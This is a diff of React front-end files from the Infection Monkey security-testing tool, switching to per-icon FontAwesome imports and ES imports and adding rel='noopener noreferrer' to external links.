import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faClipboard, faCheck, faSync } from '@fortawesome/free-solid-svg-icons';
import { faClipboard } from '@fortawesome/free-solid-svg-icons/faClipboard';
import { faCheck } from '@fortawesome/free-solid-svg-icons/faCheck';
import { faSync } from '@fortawesome/free-solid-svg-icons/faSync';
import {Link} from 'react-router-dom';
import AuthComponent from '../AuthComponent';
import AwsRunTable from '../run-monkey/AwsRunTable';
import '../../styles/MonkeyRunPage.scss';
const loading_css_override = css`
display: block;
margin-right: auto;
@ -252,7 +256,7 @@ class RunMonkeyPageComponent extends AuthComponent {
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
Not sure what this is? Not seeing your AWS EC2 instances? <a
href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances"
target="_blank">Read the documentation</a>!
rel="noopener noreferrer" target="_blank">Read the documentation</a>!
</p>
</div>
{
@ -325,7 +329,8 @@ class RunMonkeyPageComponent extends AuthComponent {
Choose the operating system where you want to run the monkey
{this.state.ips.length > 1 ? ', and the interface to communicate with.' : '.'}
</p>
<Nav bsStyle="pills" justified activeKey={this.state.selectedOs} onSelect={this.setSelectedOs}>
<Nav bsStyle='pills' id={'bootstrap-override'} className={'runOnOsButtons'}
justified activeKey={this.state.selectedOs} onSelect={this.setSelectedOs}>
<NavItem key='windows-32' eventKey='windows-32'>Windows (32 bit)</NavItem>
<NavItem key='windows-64' eventKey='windows-64'>Windows (64 bit)</NavItem>
<NavItem key='linux-32' eventKey='linux-32'>Linux (32 bit)</NavItem>

View File

@ -22,7 +22,7 @@ class RunServerPageComponent extends React.Component {
</p>
<p>
To read more about the Monkey, visit <a href="http://infectionmonkey.com"
target="_blank">infectionmonkey.com</a>
rel="noopener noreferrer" target="_blank">infectionmonkey.com</a>
</p>
<p>
Go ahead and <Link to="/run-monkey">run the monkey</Link>.

View File

@ -3,7 +3,10 @@ import {Col, Button} from 'react-bootstrap';
import '../../styles/Collapse.scss';
import '../../styles/report/AttackReport.scss';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import {faCircle, faEye, faEyeSlash, faRadiation} from '@fortawesome/free-solid-svg-icons';
import {faCircle} from '@fortawesome/free-solid-svg-icons/faCircle';
import {faRadiation} from '@fortawesome/free-solid-svg-icons/faRadiation';
import {faEye} from '@fortawesome/free-solid-svg-icons/faEye';
import {faEyeSlash} from '@fortawesome/free-solid-svg-icons/faEyeSlash';
import ReportHeader, {ReportTypes} from './common/ReportHeader';
import {ScanStatus} from '../attack/techniques/Helpers';

View File

@ -16,9 +16,8 @@ import SecurityIssuesGlance from './common/SecurityIssuesGlance';
import PrintReportButton from './common/PrintReportButton';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faMinus } from '@fortawesome/free-solid-svg-icons';
let guardicoreLogoImage = require('../../images/guardicore-logo.png');
import { faMinus } from '@fortawesome/free-solid-svg-icons/faMinus';
import guardicoreLogoImage from '../../images/guardicore-logo.png'
class ReportPageComponent extends AuthComponent {

View File

@ -20,7 +20,7 @@ class ReportMatrixComponent extends React.Component {
}
let tech_type = this.state.schema.properties[type_key];
columns.push({
Header: () => (<a href={tech_type.link} target="_blank">{tech_type.title}</a>),
Header: () => (<a href={tech_type.link} rel="noopener noreferrer" target="_blank">{tech_type.title}</a>),
id: type_key,
accessor: x => this.renderTechnique(x[tech_type.title]),
style: {'whiteSpace': 'unset'}

View File

@ -3,9 +3,9 @@ import Collapse from '@kunukn/react-collapse';
import AttackReport from '../AttackReport';
import {FontAwesomeIcon} from '@fortawesome/react-fontawesome';
import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons';
import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons/faQuestionCircle';
const classNames = require('classnames');
import classNames from 'classnames';
class SelectedTechnique extends React.Component {
@ -37,7 +37,7 @@ class SelectedTechnique extends React.Component {
{this.state.techniques[tech_id].title}
</span>
<span>
<a href={this.state.techniques[tech_id].link} target='_blank' className={'link-to-technique'}>
<a href={this.state.techniques[tech_id].link} rel="noopener noreferrer" target='_blank' className={'link-to-technique'}>
<FontAwesomeIcon icon={faQuestionCircle}/>
</a>
</span>

View File

@ -1,12 +1,15 @@
import React from 'react';
import Collapse from '@kunukn/react-collapse';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
import { faQuestionCircle, faChevronUp, faChevronDown, faToggleOn } from '@fortawesome/free-solid-svg-icons'
import { faQuestionCircle } from '@fortawesome/free-solid-svg-icons/faQuestionCircle'
import { faChevronUp } from '@fortawesome/free-solid-svg-icons/faChevronUp'
import { faChevronDown } from '@fortawesome/free-solid-svg-icons/faChevronDown'
import { faToggleOn } from '@fortawesome/free-solid-svg-icons/faToggleON'
import {Button} from 'react-bootstrap';
import AttackReport from '../AttackReport';
const classNames = require('classnames');
import classNames from 'classnames';
class TechniqueDropdowns extends React.Component{
@ -40,7 +43,7 @@ class TechniqueDropdowns extends React.Component{
{this.state.techniques[tech_id].title}
</span>
<span>
<a href={this.state.techniques[tech_id].link} target='_blank' className={'link-to-technique'}>
<a href={this.state.techniques[tech_id].link} rel="noopener noreferrer" target='_blank' className={'link-to-technique'}>
<FontAwesomeIcon icon={faQuestionCircle}/>
</a>
<FontAwesomeIcon icon={this.state.collapseOpen === tech_id ? faChevronDown : faChevronUp}/>

View File

@ -2,7 +2,7 @@ import React, {Component} from 'react';
import {Col} from 'react-bootstrap';
import * as PropTypes from 'prop-types';
let monkeyLogoImage = require('../../../images/monkey-icon.svg');
import monkeyLogoImage from '../../../images/monkey-icon.svg';
export const ReportTypes = {
zeroTrust: 'Zero Trust',
@ -29,7 +29,7 @@ export class ReportHeader extends Component {
</div>
</Col>
<Col xs={4}>
<img src={monkeyLogoImage}
<img alt="monkey logo image" src={monkeyLogoImage}
style={{
float: 'right',
width: '80px'

View File

@ -4,7 +4,7 @@ import {Badge, Button} from 'react-bootstrap';
import * as PropTypes from 'prop-types';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faList } from '@fortawesome/free-solid-svg-icons';
import { faList } from '@fortawesome/free-solid-svg-icons/faList';
export default class EventsButton extends Component {
constructor(props) {

View File

@ -1,11 +1,10 @@
import React, {Component} from 'react';
import {Badge, Modal} from 'react-bootstrap';
import {Modal} from 'react-bootstrap';
import EventsTimeline from './EventsTimeline';
import * as PropTypes from 'prop-types';
import saveJsonToFile from '../../utils/SaveJsonToFile';
import EventsModalButtons from './EventsModalButtons';
import Pluralize from 'pluralize'
import {statusToLabelType} from './StatusLabel';
export default class EventsModal extends Component {
constructor(props) {

View File

@ -2,8 +2,8 @@ import React, {Component} from 'react';
import {Timeline, TimelineEvent} from 'react-event-timeline';
import * as PropTypes from 'prop-types';
let monkeyLocalIcon = require('../../../images/zerotrust/im-alert-machine-icon.svg');
let monkeyNetworkIcon = require('../../../images/zerotrust/im-alert-network-icon.svg');
import monkeyLocalIcon from '../../../images/zerotrust/im-alert-machine-icon.svg';
import monkeyNetworkIcon from '../../../images/zerotrust/im-alert-network-icon.svg';
const eventTypeToIcon = {
'monkey_local': monkeyLocalIcon,

View File

@ -3,7 +3,7 @@ import {Button} from 'react-bootstrap';
import * as PropTypes from 'prop-types';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faDownload } from '@fortawesome/free-solid-svg-icons';
import { faDownload } from '@fortawesome/free-solid-svg-icons/faDownload';
export default class ExportEventsButton extends Component {
render() {

View File

@ -1,7 +1,5 @@
import React, {Component, Fragment} from 'react';
import PillarLabel from './PillarLabel';
import EventsButton from './EventsButton';
import ZeroTrustPillars, {ZeroTrustStatuses} from './ZeroTrustPillars';
import React, {Component} from 'react';
import {ZeroTrustStatuses} from './ZeroTrustPillars';
import {FindingsTable} from './FindingsTable';

View File

@ -3,7 +3,13 @@ import {statusToLabelType} from './StatusLabel';
import * as PropTypes from 'prop-types';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faDatabase, faUser, faWifi, faCloud, faLaptop, faEyeSlash, faCogs } from '@fortawesome/free-solid-svg-icons';
import { faDatabase } from '@fortawesome/free-solid-svg-icons/faDatabase';
import { faUser } from '@fortawesome/free-solid-svg-icons/faUser';
import { faWifi } from '@fortawesome/free-solid-svg-icons/faWifi';
import { faCloud } from '@fortawesome/free-solid-svg-icons/faCloud';
import { faLaptop } from '@fortawesome/free-solid-svg-icons/faLaptop';
import { faEyeSlash } from '@fortawesome/free-solid-svg-icons/faEyeSlash';
import { faCogs } from '@fortawesome/free-solid-svg-icons/faCogs';
const pillarToIcon = {
'Data': faDatabase,

View File

@ -5,7 +5,7 @@ import {NavLink} from 'react-router-dom';
import {Panel} from 'react-bootstrap';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faChevronDown } from '@fortawesome/free-solid-svg-icons';
import { faChevronDown } from '@fortawesome/free-solid-svg-icons/faChevronDown';
class ZeroTrustReportLegend extends Component {

View File

@ -2,7 +2,10 @@ import React, {Component} from 'react';
import * as PropTypes from 'prop-types';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faCheck, faExclamationTriangle, faBomb, faQuestion } from '@fortawesome/free-solid-svg-icons';
import { faCheck } from '@fortawesome/free-solid-svg-icons/faCheck';
import { faExclamationTriangle } from '@fortawesome/free-solid-svg-icons/faExclamationTriangle';
import { faBomb } from '@fortawesome/free-solid-svg-icons/faBomb';
import { faQuestion } from '@fortawesome/free-solid-svg-icons/faQuestion';
const statusToIcon = {
'Passed': faCheck,

View File

@ -1,7 +1,7 @@
import React from 'react';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faDownload } from '@fortawesome/free-solid-svg-icons';
import { faDownload } from '@fortawesome/free-solid-svg-icons/faDownload';
class VersionComponent extends React.Component {
constructor(props) {
@ -34,7 +34,7 @@ class VersionComponent extends React.Component {
<div>
<b>Newer version available!</b>
<br/>
<b><a target="_blank" href={this.state.downloadLink}>Download here <FontAwesomeIcon icon={faDownload}/></a></b>
<b><a rel="noopener noreferrer" target="_blank" href={this.state.downloadLink}>Download here <FontAwesomeIcon icon={faDownload}/></a></b>
</div>
:
undefined

View File

@ -83,7 +83,7 @@ class CheckboxComponent extends React.PureComponent {
type='checkbox' value={this.state.checked}
name={this.props.name}/>
<label className='text'>{this.props.children}</label>
<div className='ui-btn-ping' onTransitionEnd={this.stopAnimation}></div>
<div className='ui-btn-ping' onTransitionEnd={this.stopAnimation}/>
</div>
)
}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 95 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 85 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 156 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 163 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 167 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 153 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 156 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 135 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 96 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 111 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 86 KiB

Some files were not shown because too many files have changed in this diff Show More